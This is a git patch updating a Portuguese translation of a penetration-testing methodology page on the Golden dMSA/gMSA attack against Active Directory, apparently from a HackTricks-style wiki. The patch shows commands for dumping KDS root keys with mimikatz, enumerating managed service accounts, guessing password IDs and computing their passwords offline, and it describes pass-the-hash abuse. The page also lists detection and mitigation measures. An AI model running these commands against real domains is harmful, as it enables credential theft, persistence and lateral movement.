From c2859ff9c9a54e87a98f9d292e1b5cf2027e7e41 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 21 Jul 2025 22:29:38 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/golden-d --- .../golden-dmsa-gmsa.md | 39 ++++++++++++------- 1 file changed, 24 insertions(+), 15 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 2e1dc500d..91af9439a 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -23,7 +23,6 @@ Nenhum tráfego Kerberos ou interação com o domínio é necessária durante o Se um atacante puder obter todas as três entradas **offline**, ele pode calcular **senhas válidas atuais e futuras** para **qualquer gMSA/dMSA no bosque** sem tocar no DC novamente, contornando: -* Logs de pré-autenticação Kerberos / solicitação de ticket * Auditoria de leitura LDAP * Intervalos de mudança de senha (eles podem pré-computar) @@ -31,11 +30,12 @@ Isso é análogo a um *Golden Ticket* para contas de serviço. ### Pré-requisitos -1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa). O acesso `SYSTEM` é suficiente. +1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque. 2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID). 3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente. -### Fase 1 – Extrair a Chave Raiz KDS +### Golden gMSA / dMSA +##### Fase 1 – Extrair a Chave Raiz KDS Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos): ```cmd @@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too + +# With GoldendMSA +GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest +GoldendMSA.exe kds + +# With GoldenGMSA +GoldenGMSA.exe kdsinfo ``` A string base64 rotulada como `RootKey` (nome GUID) é necessária em etapas posteriores. -### Fase 2 – Enumerar objetos gMSA/dMSA +##### Fase 2 – Enumerar objetos gMSA / dMSA Recupere pelo menos `sAMAccountName`, `objectSid` e `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId + +GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementa modos auxiliares: ```powershell @@ -64,49 +73,49 @@ GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` -### Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente) +##### Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente) -Algumas implementações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL. +Algumas implantações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL. Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas: 1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos). 2. Seguidos por 96 bits aleatórios. -Portanto, uma **lista de palavras restrita por conta** (± algumas horas) é realista. +Portanto, uma **lista de palavras estreita por conta** (± algumas horas) é realista. ```powershell GoldendMSA.exe wordlist -s -d example.local -f example.local -k ``` -A ferramenta calcula senhas candidatas e compara seu blob base64 com o atributo real `msDS-ManagedPassword` – a correspondência revela o GUID correto. +A ferramenta calcula senhas candidatas e compara seu blob base64 com o verdadeiro atributo `msDS-ManagedPassword` – a correspondência revela o GUID correto. -### Fase 4 – Cálculo e Conversão de Senha Offline +##### Fase 4 – Cálculo e Conversão de Senha Offline Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância: ```powershell # derive base64 password -GoldendMSA.exe compute -s -k -d example.local -m - -# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket -GoldendMSA.exe convert -d example.local -u svc_web$ -p +GoldendMSA.exe compute -s -k -d example.local -m -i +GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou **Rubeus** para abuso de Kerberos, permitindo **movimentação lateral** furtiva e **persistência**. ## Detecção e Mitigação * Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0. -* Monitorar a criação de **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs. +* Monitorar a criação do **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs. * Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço. -* Detectar escritas de **senha em base64** incomuns ou reutilização repentina de senhas de serviço entre hosts. +* Detectar escritas de **senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts. * Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível. ## Ferramentas * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementação de referência usada nesta página. +* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – implementação de referência usada nesta página. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket usando chaves AES derivadas. ## Referências - [Golden dMSA – bypass de autenticação para Contas de Serviço Gerenciadas Delegadas](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) +- [gMSA Active Directory Ataques Contas](https://www.semperis.com/blog/golden-gmsa-attack/) - [Repositório GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA) - [Improsec – ataque de confiança Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)